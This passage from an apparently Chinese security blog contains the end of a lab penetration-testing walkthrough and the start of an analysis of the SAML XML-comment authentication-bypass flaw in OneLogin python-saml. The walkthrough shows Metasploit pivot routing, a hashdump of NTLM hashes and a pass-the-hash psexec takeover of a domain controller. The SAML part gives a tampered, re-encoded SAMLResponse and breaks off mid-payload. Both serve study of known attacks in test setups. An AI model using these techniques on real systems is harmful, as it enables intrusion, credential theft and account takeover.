   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

Tunnel adapter Local Area Connection* 11:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft Teredo Tunneling Adapter
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

那么接下来,我们的下一个目标就是IP为10.0.1.7的域控服务器了。
经过一系列测试,发现目标机似乎只接受来自IP10.0.1.26(Session 5)的流量,因此我们需要先添加一个专门的路由使我们的攻击机(10.0.0.5)流量可以抵达目标主机(10.0.1.7)。

msf exploit(psexec) > route add 10.0.1.7 255.255.255.255 5
msf exploit(psexec) > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.0.1.0           255.255.255.0      Session 2
   10.0.1.7           255.255.255.255    Session 5

[*] There are currently no IPv6 routes defined.

首先,搜集利用hashdump命令收集一下主机10.0.1.26的所有密码Hash:

msf exploit(handler) > sessions 5
[*] Starting interaction with 5...

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:616463a26de99900462a713770e806ab:::
gamebox:1001:aad3b435b51404eeaad3b435b51404ee:4ea29bdfa3e99248ce57c9f29d114a6f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

接着,我们可以尝试使用Pass The Hash来测试一下我们的目标机(10.0.1.7),并成功地拿下了该域控服务器。

msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                    Required  Description
   ----                  ---------------                                                    --------  -----------
   RHOST                 10.0.1.7                                                           yes       The target address
   RPORT                 445                                                                yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                                                                      no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                     no        The service display name
   SERVICE_NAME                                                                             no        The service name
   SHARE                 ADMIN$                                                             yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             gbox                                                               no        The Windows domain to use for authentication
   SMBPass               aad3b435b51404eeaad3b435b51404ee:4ea29bdfa3e99248ce57c9f29d114a6f  no        The password for the specified username
   SMBUser               gamebox                                                            no        The username to authenticate as


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     10.0.1.7         no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(psexec) > run

[*] 10.0.1.7:445 - Connecting to the server...
[*] Started bind handler
[*] 10.0.1.7:445 - Authenticating to 10.0.1.7:445|gbox as user 'gamebox'...
[*] 10.0.1.7:445 - Selecting PowerShell target
[*] 10.0.1.7:445 - Executing the payload...
[+] 10.0.1.7:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (205379 bytes) to 10.0.1.7
[*] Meterpreter session 6 opened (10.0.0.5-_1_-10.0.0.9:0 -> 10.0.1.7:4444) at 2018-05-31 02:38:04 +0000

meterpreter > sysinfo
Computer        : DC
OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : GBOX
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ifconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Microsoft Teredo Tunneling Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::100:7f:fffe
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 13
============
Name         : AWS PV Network Device #0
Hardware MAC : 0a:ee:ba:e9:01:22
MTU          : 9001
IPv4 Address : 10.0.1.7
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::c907:5309:68a2:b1b8
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 14
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:a00:107
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

至此,我们已经成功地拿下了所有实验环境下的主机控制权限。

msf exploit(psexec) > sessions

Active sessions
===============

  Id  Name  Type                     Information                               Connection
  --  ----  ----                     -----------                               ----------
  2         meterpreter x64/windows  MONITOR\Administrator @ MONITOR           10.0.0.5:4444 -> 10.0.0.9:51800 (10.0.0.9)
  4         meterpreter x64/linux    uid=0, gid=0, euid=0, egid=0 @ 10.0.1.11  10.0.0.5-10.0.0.9:0 -> 10.0.1.11:4444 (10.0.1.11)
  5         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ IT-MANAGE-PC        10.0.0.5-10.0.0.9:0 -> 10.0.1.26:4444 (10.0.1.26)
  6         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ DC                  10.0.0.5-_1_-10.0.0.9:0 -> 10.0.1.7:4444 (10.0.1.7)

0x02 小结

本文重点介绍了一个相对完整的内网渗透过程(即:外网主机-内网主机-内网域内主机-内网域控服务器)。当然,这只是个简单的实验环境,实际实战中遇到的情况会比这复杂很多(比如:各种反病毒程序的bypass,内网反入侵系统的检测的绕过等等),但是基本思路和方法都是类似和相通的。另外,因笔者水平有限,文中表达不当或者不正确的地方,也敬请谅解和指正。

另,本文中所使用的实验环境是由笔者专门开发的弹性内网渗透系统随机生成的,支持随机组网和动态生成模拟内网环境。

漏洞分析与实践之基于SAML实现的单点登录系统

0x00 前言

近日,笔者看到国外安全组织Duo Labs公布了一个比较有意思的漏洞,该漏洞影响了大部分基于SAML的SSO系统的实现,出于好奇进行了如下分析和实践,遂成此文。水平有限,不当之处敬请指正。

0x01 分析

什么是SAML

SAML全称Security Assertion Markup Language,顾名思义“安全声明标记语言”,它是一个为应用程序提供身份认证和授权的协议,通常应用于单点登录(SSO)系统。

Security Assertion Markup Language (SAML, pronounced sam-el[1]) is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. As its name implies, SAML is an XML-based markup language for security assertions (statements that service providers use to make access-control decisions). SAML is also:

    A set of XML-based protocol messages
    A set of protocol message bindings
    A set of profiles (utilizing all of the above)

SAML提供了一种只在一个统一的身份认证服务上完成用户认证即可访问其他授权第三方服务的方法,相当于“一次认证,处处访问”。

SAML包含以下几个概念:

  • Identity Provider (IdP) – 身份认证提供者 – 一个提供了用户身份识别和认证的软件或者服务,如:检查用户名和密码,校验用户状态,双因素认证等
  • Serivce Provider (SP) – 服务提供者 – 用户需要获取访问权限的应用系统
  • SAML Assertion – SAML声明 – 一个标识了用户身份和其他相关属性的消息

SAML是如何工作的

SAML的工作模式其实可以简化如下:

  • 用户A想要访问SP的资源
  • 用户A先访问IdP,完成一系列校验和身份认证后获得一个访问SP的SAML Response (包含SAML assertion和该SP所需要的相关的属性等)
  • 用户A带着从IdP获取到的SAML assertion去访问SP,并被授权访问相应的数据资源

SAML分为2种模式:

  • IdP-Initiated
  • SP-Initiated

二者的区别在于认证的工作流从什么地方开始。当用户首先访问到IdP(通常是一个统一认证的登陆页)完成身份认证后带着IdP生成的SAML assertion去访问SP并取得访问权限,这就是IdP-Initiated; 当用户首先访问SP但是被redirect到IdP并带着SAML request(作用是告诉IdP该用户想要登陆该SP,但是没有SAML assetion,请帮忙获取一个SAML assertion并redirect回到该SP),在IdP上完成身份认证后带着SAML assertion去访问之前的那个SP并取得访问权限,这就是SP-Inititated。

详细的解释可以参考这篇文章

漏洞是怎么产生的

回到我们的正题了,这到底是个什么样的漏洞?又是如何产生的呢?

在上面SAML的基本介绍里,我们提到过基于SAML的SSO系统是通过SAML assertion来告诉SP是否该用户是经过身份认证并被授权访问的。为了说明白原理,我们来简化一下这个流程(实际上可能会比这个过程复杂):

  • 用户访问一个IdP服务经过身份认证后得到一个签名后的SAML Response(包含SAML assertion)。用户的客户端浏览器把这个SAML Response转发到要访问的SP
  • SP校验这个转发过来的SAML Response的签名
  • 如果签名有效,SAML Response中的身份识别码(如NameID)将会被提取出来用以判断什么用户被认证通过了,从而授予相应的访问权限

一个比较简单但是典型的SAML Response的例子如下:

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

从上面这个例子中我们可以看到几个重点部分,NameID, CanonicalizationMethod以及SignatureValue,他们分别表示身份识别码,标准化签名方法,校验签名。

SP在校验签名时需要利用CanonicalizationMethod提取SAML Response中的NameID生成签名并与SAML Response中SignatureValue作对比,如果二者一致则表示签名校验成功并提取NameID中的值作为身份识别码并授予相应的访问权限;反之失败并拒绝用户请求。

通常的CanonicalizationMethod是http://www.w3.org/2001/10/xml-exc-c14n#, 而该方法在签名之前会先解析XML中节点且忽略注释部分,如

<NameID>test@example<!--This is comment -->.com</NameID>

节点NameID中的注释部分<!–This is comment –>会被忽略,其获取到NameID的值是test@example.com而不是test@example<!–This is comment –>.com。这样直接导致的一个后果就是不同的NameID可能会产生相同的SignatureValue,这也就为后面的漏洞埋下了伏笔。

而另一方面,SP在签名校验成功后提取SAML Response中的NameID时使用的XML解析方法却很可能与CanonicalizationMethod不一致。如Python中的defusedxml.lxml库在解析<NameID>test@example<!–This is comment –>.com</NameID>中的NameID时就只会返回test@example。如此一来,如果SP的Python-SAML实现中使用的是defusedxml.lxml库,那么下面这两个SAML Response就会产生不同的NameID和相同的SignatureValue。换句话说,我们在原始的SAML Response中的NameID user@user.com.evil.com中添加了注释,这时SP依旧认为该SAML Response签名有效但最终却由于XML解析库的不一致的问题提取了错误的用户身份认证码进入了用户user@user.com的账户,从而造成了越权用户访问的问题。
原始的SAML Response:

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com.evil.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

篡改后的SAML Response:

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com<!--This is comment-->.evil.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

那么实际情况下,基于SAML的SSO的实现上会不会出现这种对于XML解析不一致的问题呢?漏洞的发现者测试后发现确实存在,下面这些实现都存在这类问题:

  • OneLogin – python-saml – CVE-2017-11427
  • OneLogin – ruby-saml – CVE-2017-11428
  • Clever – saml2-js – CVE-2017-11429
  • OmniAuth-SAML – CVE-2017-11430
  • Shibboleth – CVE-2018-0489
  • Duo Network Gateway – CVE-2018-7340

0x02 实践

原理分析完了,接下来就是实践验证的时刻了。笔者下面以OneLogin的Python-SAML为例来实际复现一下。

首先,下载受该漏洞影响的OneLogin’s SAML Python Toolkit v2.3.0 (注: 2.4.0版本已经修复此漏洞了)。

接着,按照此文章搭建一个基于OneLogin SAML单点登录的Demo系统(本文以demo-flask为例)。

漏洞环境搭建完成后我们需要在我们的IdP(此处是OneLogin)上建立2个测试用户:

  • 测试用户A:test1@cnnt.com

  • 测试用户B:test1@cnnt.com.cnnt.com

我们的测试目的是,能否通过已经认证成功后的测试用户B的SAML Response经过修改成功获取到测试用户A的数据。

接下来,我们开始尝试利用这个漏洞。

第一步,登陆并成功认证测试用户B,

我们获取到如下的SAML Response:

经过简单的分析得知,该SAML Response是经过base64encode+urlencode的得到的,解码后如下:

<samlp:Response xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="R6ff459b0bb3452d49705f1da93d843942d45a54b" Version="2.0" IssueInstant="2018-03-02T16:08:19Z" Destination="http://180.76.234.24/?acs" InResponseTo="ONELOGIN_61f4ac5d5e96a1cbd5ad18c247548548e03d3fa1"><saml:Issuer>https://app.onelogin.com/saml/metadata/758321</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Version="2.0" ID="pfx778d787c-956b-d730-43ba-7f2f4e0b5a3b" IssueInstant="2018-03-02T16:08:19Z"><saml:Issuer>https://app.onelogin.com/saml/metadata/758321</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><ds:Reference URI="#pfx778d787c-956b-d730-43ba-7f2f4e0b5a3b"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>hvRgEUe31bN8ask8BaoAWe8f+9c=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>P2+AXQqqsPePdZZ9FnFIbzvTAuRSdYGyfuSmv6jKeZFsu1JGMBCPaU5SaiwSb2OWrvrLN+9KDLAvY/TOJF40j6wx0WSrs+Gs/PEGhUY5BF6NvTTOwKJtCAk7drMMrK3gaMcRJUiLBMjllCO+oYuuQ7EAX0+fqbQYpR/nc35p+TxNC+lHwq57TOfPNtqI/daHlv2IpeeNtOwnq4A2vpo4TBFB3kqTgJj8zbXN9+exGT6fZVXLEzdzB2JNX/TbGFnQIW3J1ocJQvrQwgJG8OVuLNHsm1zrsKKnNT+HAy173h71kZNxxJhEzYTEKJG9NAsdNX3ZdC0kgk+9tNEWore0RQ==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIEDjCCAvagAwIBAgIURSF7r5502dfTNIYjZbCbuQzoTZAwDQYJKoZIhvcNAQEFBQAwVTELMAkGA1UEBhMCVVMxDTALBgNVBAoMBENOTlQxFTATBgNVBAsMDE9uZUxvZ2luIElkUDEgMB4GA1UEAwwXT25lTG9naW4gQWNjb3VudCAxMjMwOTgwHhcNMTgwMzAxMDc0NzA3WhcNMjMwMzAxMDc0NzA3WjBVMQswCQYDVQQGEwJVUzENMAsGA1UECgwEQ05OVDEVMBMGA1UECwwMT25lTG9naW4gSWRQMSAwHgYDVQQDDBdPbmVMb2dpbiBBY2NvdW50IDEyMzA5ODCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANVH88hpn4umxEHuaTOtCAarNCYr/Vnv1D953mlwQ/y1NqLcC0vxikzH7G6JoTawzqtrtheln11AoxmkzqhTvwxXpnbbkHUz/BxRZFaWI1OcT2i490n46HekHPEm9QrkYgGyLKYgnsFu/gvl8TGeaav+jSecGgfEMVcxwOs1fIrJouW/UNheehjPpEB+zYMBf7bqabAdV86R6mFpDq3CJP86iuTNK1w1VnZB4v6QTQkqGJ8anVSqS9z200BBjjvBurylTPjefJdO1V8CcC3NS7sOW8GQO0jHA4+GH2EPP75kYV632GgzD6kPt8BiBEs73mcjml+lH2VukjBLbKhprVsCAwEAAaOB1TCB0jAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSccxTeTU6gqnuuUV+6k/CLM71XrjCBkgYDVR0jBIGKMIGHgBSccxTeTU6gqnuuUV+6k/CLM71XrqFZpFcwVTELMAkGA1UEBhMCVVMxDTALBgNVBAoMBENOTlQxFTATBgNVBAsMDE9uZUxvZ2luIElkUDEgMB4GA1UEAwwXT25lTG9naW4gQWNjb3VudCAxMjMwOTiCFEUhe6+edNnX0zSGI2Wwm7kM6E2QMA4GA1UdDwEB/wQEAwIHgDANBgkqhkiG9w0BAQUFAAOCAQEAKnId82nIkRSoULV8w8vPtas5TkSRhFN0+A1+7hepQGITTzaRansCLJOgAzj2jeq0YgeeIO/TUKBN3v4yEr8ir50TDJO427XZaBz8BeKwyKBbP6oPRNIgSyvUABh57roX+JyMx2yfFi667QsJX/N5Ug0SslajfndIV7lCQwqoES2Gw87K7rtkXoLn4gZgtsgsoA4HU0ktG2BsrxMV0goHxbJPPWsqOxhhNHVtEwn3dG2y6WxFrdA0RYRFMttYKP08VFCf+8tdLIrX6yr0ZnYzRElb6y81mdmJaTywehvFQVwb+5L8enhPd5eBqfzDwdTdGm98Qyah9ScV5nlUy5pJLA==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">test1@cnnt.com.cnnt.com</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2018-03-02T16:11:19Z" Recipient="http://180.76.234.24/?acs" InResponseTo="ONELOGIN_61f4ac5d5e96a1cbd5ad18c247548548e03d3fa1"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2018-03-02T16:05:19Z" NotOnOrAfter="2018-03-02T16:11:19Z"><saml:AudienceRestriction><saml:Audience>http://180.76.234.24/metadata/</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2018-03-02T16:08:18Z" SessionNotOnOrAfter="2018-03-03T16:08:19Z" SessionIndex="_d6e40850-0061-0136-d60e-06da7126ae26"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.LastName"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test2</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.FirstName"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test2</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="memberOf"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Test</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="PersonImmutableID"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string"/></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.email"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test1@cnnt.com.cnnt.com</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>

第二步,将NameID和Attribute中的用户B的邮箱

test1@cnnt.com.cnnt.com

改成

test1@cnnt.com<!---->.cnnt.com

并重新base64encode+urlencode后得到如下的SAML Response:

PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJSNmZmNDU5YjBiYjM0NTJkNDk3MDVmMWRhOTNkODQzOTQyZDQ1YTU0YiIgVmVyc2lvbj0iMi4wIiBJc3N1ZUluc3RhbnQ9IjIwMTgtMDMtMDJUMTY6MDg6MTlaIiBEZXN0aW5hdGlvbj0iaHR0cDovLzE4MC43Ni4yMzQuMjQvP2FjcyIgSW5SZXNwb25zZVRvPSJPTkVMT0dJTl82MWY0YWM1ZDVlOTZhMWNiZDVhZDE4YzI0NzU0ODU0OGUwM2QzZmExIj48c2FtbDpJc3N1ZXI%2BaHR0cHM6Ly9hcHAub25lbG9naW4uY29tL3NhbWwvbWV0YWRhdGEvNzU4MzIxPC9zYW1sOklzc3Vlcj48c2FtbHA6U3RhdHVzPjxzYW1scDpTdGF0dXNDb2RlIFZhbHVlPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6c3RhdHVzOlN1Y2Nlc3MiLz48L3NhbWxwOlN0YXR1cz48c2FtbDpBc3NlcnRpb24geG1sbnM6c2FtbD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiIgeG1sbnM6eHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiBWZXJzaW9uPSIyLjAiIElEPSJwZng3NzhkNzg3Yy05NTZiLWQ3MzAtNDNiYS03ZjJmNGUwYjVhM2IiIElzc3VlSW5zdGFudD0iMjAxOC0wMy0wMlQxNjowODoxOVoiPjxzYW1sOklzc3Vlcj5odHRwczovL2FwcC5vbmVsb2dpbi5jb20vc2FtbC9tZXRhZGF0YS83NTgzMjE8L3NhbWw6SXNzdWVyPjxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPjxkczpTaWduZWRJbmZvPjxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BPGRzOlNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNyc2Etc2hhMSIvPjxkczpSZWZlcmVuY2UgVVJJPSIjcGZ4Nzc4ZDc4N2MtOTU2Yi1kNzMwLTQzYmEtN2YyZjRlMGI1YTNiIj48ZHM6VHJhbnNmb3Jtcz48ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnI2VudmVsb3BlZC1zaWduYXR1cmUiLz48ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BPC9kczpUcmFuc2Zvcm1zPjxkczpEaWdlc3RNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjc2hhMSIvPjxkczpEaWdlc3RWYWx1ZT5odlJnRVVlMzFiTjhhc2s4QmFvQVdlOGYrOWM9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPlAyK0FYUXFxc1BlUGRaWjlGbkZJYnp2VEF1UlNkWUd5ZnVTbXY2aktlWkZzdTFKR01CQ1BhVTVTYWl3U2IyT1dydnJMTis5S0RMQXZZL1RPSkY0MGo2d3gwV1NycytHcy9QRUdoVVk1QkY2TnZUVE93S0p0Q0FrN2RyTU1ySzNnYU1jUkpVaUxCTWpsbENPK29ZdXVRN0VBWDArZnFiUVlwUi9uYzM1cCtUeE5DK2xId3E1N1RPZlBOdHFJL2RhSGx2MklwZWVOdE93bnE0QTJ2cG80VEJGQjNrcVRnSmo4emJYTjkrZXhHVDZmWlZYTEV6ZHpCMkpOWC9UYkdGblFJVzNKMW9jSlF2clF3Z0pHOE9WdUxOSHNtMXpyc0tLbk5UK0hBeTE3M2g3MWtaTnh4SmhFellURUtKRzlOQXNkTlgzWmRDMGtnays5dE5FV29yZTBSUT09PC9kczpTaWduYXR1cmVWYWx1ZT48ZHM6S2V5SW5mbz48ZHM6WDUwOURhdGE%2BPGRzOlg1MDlDZXJ0aWZpY2F0ZT5NSUlFRGpDQ0F2YWdBd0lCQWdJVVJTRjdyNTUwMmRmVE5JWWpaYkNidVF6b1RaQXdEUVlKS29aSWh2Y05BUUVGQlFBd1ZURUxNQWtHQTFVRUJoTUNWVk14RFRBTEJnTlZCQW9NQkVOT1RsUXhGVEFUQmdOVkJBc01ERTl1WlV4dloybHVJRWxrVURFZ01CNEdBMVVFQXd3WFQyNWxURzluYVc0Z1FXTmpiM1Z1ZENBeE1qTXdPVGd3SGhjTk1UZ3dNekF4TURjME56QTNXaGNOTWpNd016QXhNRGMwTnpBM1dqQlZNUXN3Q1FZRFZRUUdFd0pWVXpFTk1Bc0dBMVVFQ2d3RVEwNU9WREVWTUJNR0ExVUVDd3dNVDI1bFRHOW5hVzRnU1dSUU1TQXdIZ1lEVlFRRERCZFBibVZNYjJkcGJpQkJZMk52ZFc1MElERXlNekE1T0RDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTlZIODhocG40dW14RUh1YVRPdENBYXJOQ1lyL1ZudjFEOTUzbWx3US95MU5xTGNDMHZ4aWt6SDdHNkpvVGF3enF0cnRoZWxuMTFBb3hta3pxaFR2d3hYcG5iYmtIVXovQnhSWkZhV0kxT2NUMmk0OTBuNDZIZWtIUEVtOVFya1lnR3lMS1lnbnNGdS9ndmw4VEdlYWF2K2pTZWNHZ2ZFTVZjeHdPczFmSXJKb3VXL1VOaGVlaGpQcEVCK3pZTUJmN2JxYWJBZFY4NlI2bUZwRHEzQ0pQODZpdVROSzF3MVZuWkI0djZRVFFrcUdKOGFuVlNxUzl6MjAwQkJqanZCdXJ5bFRQamVmSmRPMVY4Q2NDM05TN3NPVzhHUU8wakhBNCtHSDJFUFA3NWtZVjYzMkdnekQ2a1B0OEJpQkVzNzNtY2ptbCtsSDJWdWtqQkxiS2hwclZzQ0F3RUFBYU9CMVRDQjBqQU1CZ05WSFJNQkFmOEVBakFBTUIwR0ExVWREZ1FXQkJTY2N4VGVUVTZncW51dVVWKzZrL0NMTTcxWHJqQ0JrZ1lEVlIwakJJR0tNSUdIZ0JTY2N4VGVUVTZncW51dVVWKzZrL0NMTTcxWHJxRlpwRmN3VlRFTE1Ba0dBMVVFQmhNQ1ZWTXhEVEFMQmdOVkJBb01CRU5PVGxReEZUQVRCZ05WQkFzTURFOXVaVXh2WjJsdUlFbGtVREVnTUI0R0ExVUVBd3dYVDI1bFRHOW5hVzRnUVdOamIzVnVkQ0F4TWpNd09UaUNGRVVoZTYrZWROblgwelNHSTJXd203a002RTJRTUE0R0ExVWREd0VCL3dRRUF3SUhnREFOQmdrcWhraUc5dzBCQVFVRkFBT0NBUUVBS25JZDgybklrUlNvVUxWOHc4dlB0YXM1VGtTUmhGTjArQTErN2hlcFFHSVRUemFSYW5zQ0xKT2dBemoyamVxMFlnZWVJTy9UVUtCTjN2NHlFcjhpcjUwVERKTzQyN1haYUJ6OEJlS3d5S0JiUDZvUFJOSWdTeXZVQUJoNTdyb1grSnlNeDJ5ZkZpNjY3UXNKWC9ONVVnMFNzbGFqZm5kSVY3bENRd3FvRVMyR3c4N0s3cnRrWG9MbjRnWmd0c2dzb0E0SFUwa3RHMkJzcnhNVjBnb0h4YkpQUFdzcU94aGhOSFZ0RXduM2RHMnk2V3hGcmRBMFJZUkZNdHRZS1AwOFZGQ2YrOHRkTElyWDZ5cjBabll6UkVsYjZ5ODFtZG1KYVR5d2VodkZRVndiKzVMOGVuaFBkNWVCcWZ6RHdkVGRHbTk4UXlhaDlTY1Y1bmxVeTVwSkxBPT08L2RzOlg1MDlDZXJ0aWZpY2F0ZT48L2RzOlg1MDlEYXRhPjwvZHM6S2V5SW5mbz48L2RzOlNpZ25hdHVyZT48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyI%2BdGVzdDFAY25udC5jb208IS0tLS0%2BLmNubnQuY29tPC9zYW1sOk5hbWVJRD48c2FtbDpTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPHNhbWw6U3ViamVjdENvbmZpcm1hdGlvbkRhdGEgTm90T25PckFmdGVyPSIyMDE4LTAzLTAyVDE2OjExOjE5WiIgUmVjaXBpZW50PSJodHRwOi8vMTgwLjc2LjIzNC4yNC8/YWNzIiBJblJlc3BvbnNlVG89Ik9ORUxPR0lOXzYxZjRhYzVkNWU5NmExY2JkNWFkMThjMjQ3NTQ4NTQ4ZTAzZDNmYTEiLz48L3NhbWw6U3ViamVjdENvbmZpcm1hdGlvbj48L3N